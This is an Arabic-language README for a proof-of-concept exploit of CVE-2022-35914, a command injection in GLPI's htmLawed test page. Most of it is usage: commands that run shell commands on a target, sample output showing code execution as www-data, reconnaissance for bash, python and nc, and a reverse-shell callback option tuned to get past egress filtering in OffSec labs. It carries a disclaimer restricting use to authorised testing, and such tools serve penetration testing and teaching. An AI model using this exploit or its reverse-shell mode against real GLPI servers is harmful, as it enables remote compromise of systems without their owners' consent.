
استغلال PoC لـ CVE-2022-35914 — حقن أوامر htmLawed في GLPI v.10.0.2، وتنفيذ أوامر، ودعم الصدفة العكسية.
PoC لـ CVE-2022-35914، وهي ثغرة حقن أوامر تتعلق بمكوّن اختبار htmLawed في تثبيتات GLPI القابلة للاستغلال.
توفر الأداة تنفيذ الأوامر عبر نقطة النهاية القابلة للاستغلال وتتضمن وظيفة رد اتصال اختيارية لبيئات المختبرات المصرح بها.
إخلاء مسؤولية: هذا المشروع مخصص فقط لاختبارات الأمان المصرح بها، ومسابقات CTF، ومختبرات OffSec/PG، والأغراض التعليمية. لا تستخدمه ضد أنظمة دون إذن صريح.
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2022-35914 |
| البرنامج | GLPI |
| المكوّن | htmLawed |
| نقطة النهاية القابلة للاستغلال | /vendor/htmlawed/htmlawed/htmLawedTest.php |
يمكن أن يسمح المكوّن القابل للاستغلال بتنفيذ الأوامر عبر معاملات مُصمّمة خصيصًا على التثبيتات المتأثرة.
Python 3 والاعتماديات المطلوبة.
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
استنسخ المستودع:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
اجعل السكربت قابلًا للتنفيذ:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
مثال على المخرجات:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
يحدد الخيار -c الأمر المراد تنفيذه.
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
يحدد الخيار -p / --rport المنفذ الذي تعمل عليه خدمة الويب GLPI القابلة للاستغلال.
الافتراضي:
80
مثال:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
استخدم --check للتحقق من أن صفحة اختبار htmLawed متاحة دون تنفيذ أمر:
python3 glpi.py -u TARGET_IP --check
يمكن توفير وكيل مستخدم HTTP مخصص باستخدام:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
يدعم السكربت معاملات رد اتصال اختيارية:
-l Callback/listener IP
-lp Callback/listener port
مثال:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
في هذا المثال:
Target: TARGET_IP:80
Callback: LHOST:80
المنفذان لهما غرضان مختلفان:
-p = Target GLPI HTTP port
-lp = Callback/listener port
أثناء الاختبار في بيئة مختبر OffSec، عمل رد الاتصال بنجاح عبر منفذ TCP 80.
قد تنتهي مهلة منافذ رد الاتصال الأخرى، مثل 4444، اعتمادًا على شبكة المختبر وتصفية الحركة الصادرة.
بالنسبة للبيئة التي تم اختبارها:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
تم تكوين المستمع على واجهة Kali VPN باستخدام منفذ TCP 80.
مهم: استخدام المنفذ 80 لرد الاتصال هو ملاحظة خاصة بالبيئة. وليس شرطًا من متطلبات CVE-2022-35914.
أولاً تحقق من تنفيذ الأوامر:
python3 glpi.py -u TARGET_IP -c 'id'
تحقق من وجود الأدوات المطلوبة:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
إذا كان تنفيذ الأوامر يعمل لكن مهلة رد الاتصال انتهت، تحقق من توجيه VPN ومنفذ رد الاتصال.
إذا فشل تحليل مخرجات الأوامر، يتم حفظ استجابة HTTP الكاملة في:
/tmp/glpi.html
افحصها باستخدام:
less /tmp/glpi.html
أو:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
بالنسبة لبيئة مختبر OffSec التي تم اختبارها:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
تم توفير هذا المشروع للأغراض التعليمية واختبارات الأمان المصرح بها فقط.
المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر أو وصول غير مصرح به أو نشاط غير قانوني يتعلق بهذا البرنامج.
احصل دائمًا على إذن صريح قبل اختبار أي نظام.
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 بواسطة cyb3rk0ala
| الخيار | الوصف | الافتراضي |
|---|
-u, --url | عنوان الهدف أو عنوان IP | مطلوب |
-c, --cmd | الأمر المراد تنفيذه | id |
--check | فحص الهدف دون تنفيذ أمر | معطّل |
--user-agent | وكيل مستخدم HTTP مخصص | الافتراضي |
-p, --rport | منفذ خدمة HTTP للهدف | 80 |
-l, --lhost | عنوان IP لرد الاتصال/المستمع | — |
-lp, --lport | منفذ رد الاتصال/المستمع | — |